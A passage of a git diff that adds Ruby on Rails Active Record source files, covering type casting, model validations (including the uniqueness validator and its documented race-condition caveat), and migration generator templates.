+            yield lookup_key, *args
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/unsigned_integer.rb b/activerecord/lib/active_record/type/unsigned_integer.rb
new file mode 100644
index 0000000000..4619528f81
--- /dev/null
+++ b/activerecord/lib/active_record/type/unsigned_integer.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Type
+    class UnsignedInteger < ActiveModel::Type::Integer # :nodoc:
+      private
+
+        def max_value
+          super * 2
+        end
+
+        def min_value
+          0
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type_caster.rb b/activerecord/lib/active_record/type_caster.rb
new file mode 100644
index 0000000000..ed2e4fb79c
--- /dev/null
+++ b/activerecord/lib/active_record/type_caster.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "type_caster/map"
+require_relative "type_caster/connection"
+
+module ActiveRecord
+  module TypeCaster # :nodoc:
+  end
+end
diff --git a/activerecord/lib/active_record/type_caster/connection.rb b/activerecord/lib/active_record/type_caster/connection.rb
new file mode 100644
index 0000000000..af4e4e37e2
--- /dev/null
+++ b/activerecord/lib/active_record/type_caster/connection.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module TypeCaster
+    class Connection # :nodoc:
+      def initialize(klass, table_name)
+        @klass = klass
+        @table_name = table_name
+      end
+
+      def type_cast_for_database(attribute_name, value)
+        return value if value.is_a?(Arel::Nodes::BindParam)
+        column = column_for(attribute_name)
+        connection.type_cast_from_column(column, value)
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :table_name
+        delegate :connection, to: :@klass
+
+      private
+
+        def column_for(attribute_name)
+          if connection.schema_cache.data_source_exists?(table_name)
+            connection.schema_cache.columns_hash(table_name)[attribute_name.to_s]
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type_caster/map.rb b/activerecord/lib/active_record/type_caster/map.rb
new file mode 100644
index 0000000000..d51350ba83
--- /dev/null
+++ b/activerecord/lib/active_record/type_caster/map.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module TypeCaster
+    class Map # :nodoc:
+      def initialize(types)
+        @types = types
+      end
+
+      def type_cast_for_database(attr_name, value)
+        return value if value.is_a?(Arel::Nodes::BindParam)
+        type = types.type_for_attribute(attr_name.to_s)
+        type.serialize(value)
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :types
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
new file mode 100644
index 0000000000..3f5c879f2f
--- /dev/null
+++ b/activerecord/lib/active_record/validations.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record \RecordInvalid
+  #
+  # Raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and
+  # {ActiveRecord::Base#create!}[rdoc-ref:Persistence::ClassMethods#create!] when the record is invalid.
+  # Use the #record method to retrieve the record which did not validate.
+  #
+  #   begin
+  #     complex_operation_that_internally_calls_save!
+  #   rescue ActiveRecord::RecordInvalid => invalid
+  #     puts invalid.record.errors
+  #   end
+  class RecordInvalid < ActiveRecordError
+    attr_reader :record
+
+    def initialize(record = nil)
+      if record
+        @record = record
+        errors = @record.errors.full_messages.join(", ")
+        message = I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", errors: errors, default: :"errors.messages.record_invalid")
+      else
+        message = "Record invalid"
+      end
+
+      super(message)
+    end
+  end
+
+  # = Active Record \Validations
+  #
+  # Active Record includes the majority of its validations from ActiveModel::Validations
+  # all of which accept the <tt>:on</tt> argument to define the context where the
+  # validations are active. Active Record will always supply either the context of
+  # <tt>:create</tt> or <tt>:update</tt> dependent on whether the model is a
+  # {new_record?}[rdoc-ref:Persistence#new_record?].
+  module Validations
+    extend ActiveSupport::Concern
+    include ActiveModel::Validations
+
+    # The validation process on save can be skipped by passing <tt>validate: false</tt>.
+    # The regular {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] method is replaced
+    # with this when the validations module is mixed in, which it is by default.
+    def save(options = {})
+      perform_validations(options) ? super : false
+    end
+
+    # Attempts to save the record just like {ActiveRecord::Base#save}[rdoc-ref:Base#save] but
+    # will raise an ActiveRecord::RecordInvalid exception instead of returning +false+ if the record is not valid.
+    def save!(options = {})
+      perform_validations(options) ? super : raise_validation_error
+    end
+
+    # Runs all the validations within the specified context. Returns +true+ if
+    # no errors are found, +false+ otherwise.
+    #
+    # Aliased as #validate.
+    #
+    # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
+    # {new_record?}[rdoc-ref:Persistence#new_record?] is +true+, and to <tt>:update</tt> if it is not.
+    #
+    # \Validations with no <tt>:on</tt> option will run no matter the context. \Validations with
+    # some <tt>:on</tt> option will only run in the specified context.
+    def valid?(context = nil)
+      context ||= default_validation_context
+      output = super(context)
+      errors.empty? && output
+    end
+
+    alias_method :validate, :valid?
+
+  private
+
+    def default_validation_context
+      new_record? ? :create : :update
+    end
+
+    def raise_validation_error
+      raise(RecordInvalid.new(self))
+    end
+
+    def perform_validations(options = {})
+      options[:validate] == false || valid?(options[:context])
+    end
+  end
+end
+
+require_relative "validations/associated"
+require_relative "validations/uniqueness"
+require_relative "validations/presence"
+require_relative "validations/absence"
+require_relative "validations/length"
diff --git a/activerecord/lib/active_record/validations/absence.rb b/activerecord/lib/active_record/validations/absence.rb
new file mode 100644
index 0000000000..6afb9eabd2
--- /dev/null
+++ b/activerecord/lib/active_record/validations/absence.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Validations
+    class AbsenceValidator < ActiveModel::Validations::AbsenceValidator # :nodoc:
+      def validate_each(record, attribute, association_or_value)
+        if record.class._reflect_on_association(attribute)
+          association_or_value = Array.wrap(association_or_value).reject(&:marked_for_destruction?)
+        end
+        super
+      end
+    end
+
+    module ClassMethods
+      # Validates that the specified attributes are not present (as defined by
+      # Object#present?). If the attribute is an association, the associated object
+      # is considered absent if it was marked for destruction.
+      #
+      # See ActiveModel::Validations::HelperMethods.validates_absence_of for more information.
+      def validates_absence_of(*attr_names)
+        validates_with AbsenceValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
new file mode 100644
index 0000000000..3538aeec22
--- /dev/null
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Validations
+    class AssociatedValidator < ActiveModel::EachValidator #:nodoc:
+      def validate_each(record, attribute, value)
+        if Array(value).reject { |r| valid_object?(r) }.any?
+          record.errors.add(attribute, :invalid, options.merge(value: value))
+        end
+      end
+
+      private
+
+        def valid_object?(record)
+          (record.respond_to?(:marked_for_destruction?) && record.marked_for_destruction?) || record.valid?
+        end
+    end
+
+    module ClassMethods
+      # Validates whether the associated object or objects are all valid.
+      # Works with any kind of association.
+      #
+      #   class Book < ActiveRecord::Base
+      #     has_many :pages
+      #     belongs_to :library
+      #
+      #     validates_associated :pages, :library
+      #   end
+      #
+      # WARNING: This validation must not be used on both ends of an association.
+      # Doing so will lead to a circular dependency and cause infinite recursion.
+      #
+      # NOTE: This validation will not fail if the association hasn't been
+      # assigned. If you want to ensure that the association is both present and
+      # guaranteed to be valid, you also need to use
+      # {validates_presence_of}[rdoc-ref:Validations::ClassMethods#validates_presence_of].
+      #
+      # Configuration options:
+      #
+      # * <tt>:message</tt> - A custom error message (default is: "is invalid").
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
+      def validates_associated(*attr_names)
+        validates_with AssociatedValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/length.rb b/activerecord/lib/active_record/validations/length.rb
new file mode 100644
index 0000000000..f47b14ae3a
--- /dev/null
+++ b/activerecord/lib/active_record/validations/length.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Validations
+    class LengthValidator < ActiveModel::Validations::LengthValidator # :nodoc:
+      def validate_each(record, attribute, association_or_value)
+        if association_or_value.respond_to?(:loaded?) && association_or_value.loaded?
+          association_or_value = association_or_value.target.reject(&:marked_for_destruction?)
+        end
+        super
+      end
+    end
+
+    module ClassMethods
+      # Validates that the specified attributes match the length restrictions supplied.
+      # If the attribute is an association, records that are marked for destruction are not counted.
+      #
+      # See ActiveModel::Validations::HelperMethods.validates_length_of for more information.
+      def validates_length_of(*attr_names)
+        validates_with LengthValidator, _merge_attributes(attr_names)
+      end
+
+      alias_method :validates_size_of, :validates_length_of
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
new file mode 100644
index 0000000000..75e97e1997
--- /dev/null
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Validations
+    class PresenceValidator < ActiveModel::Validations::PresenceValidator # :nodoc:
+      def validate_each(record, attribute, association_or_value)
+        if record.class._reflect_on_association(attribute)
+          association_or_value = Array.wrap(association_or_value).reject(&:marked_for_destruction?)
+        end
+        super
+      end
+    end
+
+    module ClassMethods
+      # Validates that the specified attributes are not blank (as defined by
+      # Object#blank?), and, if the attribute is an association, that the
+      # associated object is not marked for destruction. Happens by default
+      # on save.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :face
+      #     validates_presence_of :face
+      #   end
+      #
+      # The face attribute must be in the object and it cannot be blank or marked
+      # for destruction.
+      #
+      # If you want to validate the presence of a boolean field (where the real values
+      # are true and false), you will want to use
+      # <tt>validates_inclusion_of :field_name, in: [true, false]</tt>.
+      #
+      # This is due to the way Object#blank? handles boolean values:
+      # <tt>false.blank? # => true</tt>.
+      #
+      # This validator defers to the Active Model validation for presence, adding the
+      # check to see that an associated object is not marked for destruction. This
+      # prevents the parent object from validating successfully and saving, which then
+      # deletes the associated object, thus putting the parent object into an invalid
+      # state.
+      #
+      # NOTE: This validation will not fail while using it with an association
+      # if the latter was assigned but not valid. If you want to ensure that
+      # it is both present and valid, you also need to use
+      # {validates_associated}[rdoc-ref:Validations::ClassMethods#validates_associated].
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if
+      #   the validation should occur (e.g. <tt>if: :allow_validation</tt>, or
+      #   <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method, proc
+      #   or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:strict</tt> - Specifies whether validation should be strict.
+      #   See ActiveModel::Validations#validates! for more information.
+      def validates_presence_of(*attr_names)
+        validates_with PresenceValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
new file mode 100644
index 0000000000..2677fade18
--- /dev/null
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -0,0 +1,236 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Validations
+    class UniquenessValidator < ActiveModel::EachValidator # :nodoc:
+      def initialize(options)
+        if options[:conditions] && !options[:conditions].respond_to?(:call)
+          raise ArgumentError, "#{options[:conditions]} was passed as :conditions but is not callable. " \
+                               "Pass a callable instead: `conditions: -> { where(approved: true) }`"
+        end
+        super({ case_sensitive: true }.merge!(options))
+        @klass = options[:class]
+      end
+
+      def validate_each(record, attribute, value)
+        finder_class = find_finder_class_for(record)
+        value = map_enum_attribute(finder_class, attribute, value)
+
+        relation = build_relation(finder_class, attribute, value)
+        if record.persisted?
+          if finder_class.primary_key
+            relation = relation.where.not(finder_class.primary_key => record.id_in_database || record.id)
+          else
+            raise UnknownPrimaryKey.new(finder_class, "Can not validate uniqueness for persisted record without primary key.")
+          end
+        end
+        relation = scope_relation(record, relation)
+        relation = relation.merge(options[:conditions]) if options[:conditions]
+
+        if relation.exists?
+          error_options = options.except(:case_sensitive, :scope, :conditions)
+          error_options[:value] = value
+
+          record.errors.add(attribute, :taken, error_options)
+        end
+      end
+
+    private
+      # The check for an existing value should be run from a class that
+      # isn't abstract. This means working down from the current class
+      # (self), to the first non-abstract class. Since classes don't know
+      # their subclasses, we have to build the hierarchy between self and
+      # the record's class.
+      def find_finder_class_for(record)
+        class_hierarchy = [record.class]
+
+        while class_hierarchy.first != @klass
+          class_hierarchy.unshift(class_hierarchy.first.superclass)
+        end
+
+        class_hierarchy.detect { |klass| !klass.abstract_class? }
+      end
+
+      def build_relation(klass, attribute, value)
+        if reflection = klass._reflect_on_association(attribute)
+          attribute = reflection.foreign_key
+          value = value.attributes[reflection.klass.primary_key] unless value.nil?
+        end
+
+        if value.nil?
+          return klass.unscoped.where!(attribute => value)
+        end
+
+        # the attribute may be an aliased attribute
+        if klass.attribute_alias?(attribute)
+          attribute = klass.attribute_alias(attribute)
+        end
+
+        attribute_name = attribute.to_s
+        value = klass.predicate_builder.build_bind_attribute(attribute_name, value)
+
+        table = klass.arel_table
+        column = klass.columns_hash[attribute_name]
+
+        comparison = if !options[:case_sensitive]
+          # will use SQL LOWER function before comparison, unless it detects a case insensitive collation
+          klass.connection.case_insensitive_comparison(table, attribute, column, value)
+        else
+          klass.connection.case_sensitive_comparison(table, attribute, column, value)
+        end
+        klass.unscoped.where!(comparison)
+      end
+
+      def scope_relation(record, relation)
+        Array(options[:scope]).each do |scope_item|
+          scope_value = if record.class._reflect_on_association(scope_item)
+            record.association(scope_item).reader
+          else
+            record._read_attribute(scope_item)
+          end
+          relation = relation.where(scope_item => scope_value)
+        end
+
+        relation
+      end
+
+      def map_enum_attribute(klass, attribute, value)
+        mapping = klass.defined_enums[attribute.to_s]
+        value = mapping[value] if value && mapping
+        value
+      end
+    end
+
+    module ClassMethods
+      # Validates whether the value of the specified attributes are unique
+      # across the system. Useful for making sure that only one user
+      # can be named "davidhh".
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_uniqueness_of :user_name
+      #   end
+      #
+      # It can also validate whether the value of the specified attributes are
+      # unique based on a <tt>:scope</tt> parameter:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_uniqueness_of :user_name, scope: :account_id
+      #   end
+      #
+      # Or even multiple scope parameters. For example, making sure that a
+      # teacher can only be on the schedule once per semester for a particular
+      # class.
+      #
+      #   class TeacherSchedule < ActiveRecord::Base
+      #     validates_uniqueness_of :teacher_id, scope: [:semester_id, :class_id]
+      #   end
+      #
+      # It is also possible to limit the uniqueness constraint to a set of
+      # records matching certain conditions. In this example archived articles
+      # are not being taken into consideration when validating uniqueness
+      # of the title attribute:
+      #
+      #   class Article < ActiveRecord::Base
+      #     validates_uniqueness_of :title, conditions: -> { where.not(status: 'archived') }
+      #   end
+      #
+      # When the record is created, a check is performed to make sure that no
+      # record exists in the database with the given value for the specified
+      # attribute (that maps to a column). When the record is updated,
+      # the same check is made but disregarding the record itself.
+      #
+      # Configuration options:
+      #
+      # * <tt>:message</tt> - Specifies a custom error message (default is:
+      #   "has already been taken").
+      # * <tt>:scope</tt> - One or more columns by which to limit the scope of
+      #   the uniqueness constraint.
+      # * <tt>:conditions</tt> - Specify the conditions to be included as a
+      #   <tt>WHERE</tt> SQL fragment to limit the uniqueness constraint lookup
+      #   (e.g. <tt>conditions: -> { where(status: 'active') }</tt>).
+      # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by
+      #   non-text columns (+true+ by default).
+      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
+      #   attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
+      #   attribute is blank (default is +false+).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
+      #
+      # === Concurrency and integrity
+      #
+      # Using this validation method in conjunction with
+      # {ActiveRecord::Base#save}[rdoc-ref:Persistence#save]
+      # does not guarantee the absence of duplicate record insertions, because
+      # uniqueness checks on the application level are inherently prone to race
+      # conditions. For example, suppose that two users try to post a Comment at
+      # the same time, and a Comment's title must be unique. At the database-level,
+      # the actions performed by these users could be interleaved in the following manner:
+      #
+      #               User 1                 |               User 2
+      #  ------------------------------------+--------------------------------------
+      #  # User 1 checks whether there's     |
+      #  # already a comment with the title  |
+      #  # 'My Post'. This is not the case.  |
+      #  SELECT * FROM comments              |
+      #  WHERE title = 'My Post'             |
+      #                                      |
+      #                                      | # User 2 does the same thing and also
+      #                                      | # infers that their title is unique.
+      #                                      | SELECT * FROM comments
+      #                                      | WHERE title = 'My Post'
+      #                                      |
+      #  # User 1 inserts their comment.     |
+      #  INSERT INTO comments                |
+      #  (title, content) VALUES             |
+      #  ('My Post', 'hi!')                  |
+      #                                      |
+      #                                      | # User 2 does the same thing.
+      #                                      | INSERT INTO comments
+      #                                      | (title, content) VALUES
+      #                                      | ('My Post', 'hello!')
+      #                                      |
+      #                                      | # ^^^^^^
+      #                                      | # Boom! We now have a duplicate
+      #                                      | # title!
+      #
+      # This could even happen if you use transactions with the 'serializable'
+      # isolation level. The best way to work around this problem is to add a unique
+      # index to the database table using
+      # {connection.add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index].
+      # In the rare case that a race condition occurs, the database will guarantee
+      # the field's uniqueness.
+      #
+      # When the database catches such a duplicate insertion,
+      # {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] will raise an ActiveRecord::StatementInvalid
+      # exception. You can either choose to let this error propagate (which
+      # will result in the default Rails exception page being shown), or you
+      # can catch it and restart the transaction (e.g. by telling the user
+      # that the title already exists, and asking them to re-enter the title).
+      # This technique is also known as
+      # {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
+      #
+      # The bundled ActiveRecord::ConnectionAdapters distinguish unique index
+      # constraint errors from other types of database errors by throwing an
+      # ActiveRecord::RecordNotUnique exception. For other adapters you will
+      # have to parse the (database-specific) exception message to detect such
+      # a case.
+      #
+      # The following bundled adapters throw the ActiveRecord::RecordNotUnique exception:
+      #
+      # * ActiveRecord::ConnectionAdapters::Mysql2Adapter.
+      # * ActiveRecord::ConnectionAdapters::SQLite3Adapter.
+      # * ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.
+      def validates_uniqueness_of(*attr_names)
+        validates_with UniquenessValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
new file mode 100644
index 0000000000..6b0d82d8fc
--- /dev/null
+++ b/activerecord/lib/active_record/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActiveRecord
+  # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
new file mode 100644
index 0000000000..a7e5e373a7
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "rails/generators/named_base"
+require "rails/generators/active_model"
+require "rails/generators/active_record/migration"
+require "active_record"
+
+module ActiveRecord
+  module Generators # :nodoc:
+    class Base < Rails::Generators::NamedBase # :nodoc:
+      include ActiveRecord::Generators::Migration
+
+      # Set the current directory as base for the inherited generators.
+      def self.base_root
+        __dir__
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/application_record/application_record_generator.rb b/activerecord/lib/rails/generators/active_record/application_record/application_record_generator.rb
new file mode 100644
index 0000000000..d18330f5b2
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/application_record/application_record_generator.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "rails/generators/active_record"
+
+module ActiveRecord
+  module Generators # :nodoc:
+    class ApplicationRecordGenerator < ::Rails::Generators::Base # :nodoc:
+      source_root File.expand_path("templates", __dir__)
+
+      # FIXME: Change this file to a symlink once RubyGems 2.5.0 is required.
+      def create_application_record
+        template "application_record.rb", application_record_file_name
+      end
+
+      private
+
+        def application_record_file_name
+          @application_record_file_name ||= if namespaced?
+                                              "app/models/#{namespaced_path}/application_record.rb"
+                                            else
+                                              "app/models/application_record.rb"
+                                            end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/application_record/templates/application_record.rb b/activerecord/lib/rails/generators/active_record/application_record/templates/application_record.rb
new file mode 100644
index 0000000000..60050e0bf8
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/application_record/templates/application_record.rb
@@ -0,0 +1,5 @@
+<% module_namespacing do -%>
+class ApplicationRecord < ActiveRecord::Base
+  self.abstract_class = true
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
new file mode 100644
index 0000000000..4ceb502c5d
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "rails/generators/migration"
+
+module ActiveRecord
+  module Generators # :nodoc:
+    module Migration
+      extend ActiveSupport::Concern
+      include Rails::Generators::Migration
+
+      module ClassMethods
+        # Implement the required interface for Rails::Generators::Migration.
+        def next_migration_number(dirname)
+          next_migration_number = current_migration_number(dirname) + 1
+          ActiveRecord::Migration.next_migration_number(next_migration_number)
+        end
+      end
+
+      private
+
+        def primary_key_type
+          key_type = options[:primary_key_type]
+          ", id: :#{key_type}" if key_type
+        end
+
+        def db_migrate_path
+          if defined?(Rails.application) && Rails.application
+            Rails.application.config.paths["db/migrate"].to_ary.first
+          else
+            "db/migrate"
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
new file mode 100644
index 0000000000..0174c7ea31
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "rails/generators/active_record"
+
+module ActiveRecord
+  module Generators # :nodoc:
+    class MigrationGenerator < Base # :nodoc:
+      argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
+
+      class_option :primary_key_type, type: :string, desc: "The type for primary key"
+
+      def create_migration_file
+        set_local_assigns!
+        validate_file_name!
+        migration_template @migration_template, File.join(db_migrate_path, "#{file_name}.rb")
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :migration_action, :join_tables
+
+      private
+
+        # Sets the default migration template that is being used for the generation of the migration.
+        # Depending on command line arguments, the migration template and the table name instance
+        # variables are set up.
+        def set_local_assigns!
+          @migration_template = "migration.rb"
+          case file_name
+          when /^(add|remove)_.*_(?:to|from)_(.*)/
+            @migration_action = $1
+            @table_name       = normalize_table_name($2)
+          when /join_table/
+            if attributes.length == 2
+              @migration_action = "join"
+              @join_tables      = pluralize_table_names? ? attributes.map(&:plural_name) : attributes.map(&:singular_name)
+
+              set_index_names
+            end
+          when /^create_(.+)/
+            @table_name = normalize_table_name($1)
+            @migration_template = "create_table_migration.rb"
+          end
+        end
+
+        def set_index_names
+          attributes.each_with_index do |attr, i|
+            attr.index_name = [attr, attributes[i - 1]].map { |a| index_name_for(a) }
+          end
+        end
+
+        def index_name_for(attribute)
+          if attribute.foreign_key?
+            attribute.name
+          else
+            attribute.name.singularize.foreign_key
+          end.to_sym
+        end
+
+        def attributes_with_index
+          attributes.select { |a| !a.reference? && a.has_index? }
+        end
+
+        # A migration file name can only contain underscores (_), lowercase characters,
+        # and numbers 0-9. Any other file name will raise an IllegalMigrationNameError.
+        def validate_file_name!
+          unless /^[_a-z0-9]+$/.match?(file_name)
+            raise IllegalMigrationNameError.new(file_name)
+          end
+        end
+
+        def normalize_table_name(_table_name)
+          pluralize_table_names? ? _table_name.pluralize : _table_name.singularize
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
new file mode 100644
index 0000000000..5f7201cfe1
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
@@ -0,0 +1,24 @@
+class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
+  def change
+    create_table :<%= table_name %><%= primary_key_type %> do |t|
+<% attributes.each do |attribute| -%>
+<% if attribute.password_digest? -%>
+      t.string :password_digest<%= attribute.inject_options %>
+<% elsif attribute.token? -%>
+      t.string :<%= attribute.name %><%= attribute.inject_options %>
+<% else -%>
+      t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
+<% end -%>
+<% end -%>
+<% if options[:timestamps] %>
+      t.timestamps
+<% end -%>
+    end
+<% attributes.select(&:token?).each do |attribute| -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
+<% end -%>
+<% attributes_with_index.each do |attribute| -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+<% end -%>
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
new file mode 100644
index 0000000000..481c70201b
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
@@ -0,0 +1,46 @@
+class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
+<%- if migration_action == 'add' -%>
+  def change
+<% attributes.each do |attribute| -%>
+  <%- if attribute.reference? -%>
+    add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+  <%- elsif attribute.token? -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :string<%= attribute.inject_options %>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
+  <%- else -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+    <%- if attribute.has_index? -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
+  <%- end -%>
+<%- end -%>
+  end
+<%- elsif migration_action == 'join' -%>
+  def change
+    create_join_table :<%= join_tables.first %>, :<%= join_tables.second %> do |t|
+    <%- attributes.each do |attribute| -%>
+      <%- if attribute.reference? -%>
+      t.references :<%= attribute.name %><%= attribute.inject_options %>
+      <%- else -%>
+      <%= '# ' unless attribute.has_index? -%>t.index <%= attribute.index_name %><%= attribute.inject_index_options %>
+      <%- end -%>
+    <%- end -%>
+    end
+  end
+<%- else -%>
+  def change
+<% attributes.each do |attribute| -%>
+<%- if migration_action -%>
+  <%- if attribute.reference? -%>
+    remove_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+  <%- else -%>
+    <%- if attribute.has_index? -%>
+    remove_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
+    remove_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+  <%- end -%>
+<%- end -%>
+<%- end -%>
+  end
+<%- end -%>
+end
diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
new file mode 100644
index 0000000000..25e54f3ac8
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "rails/generators/active_record"
+
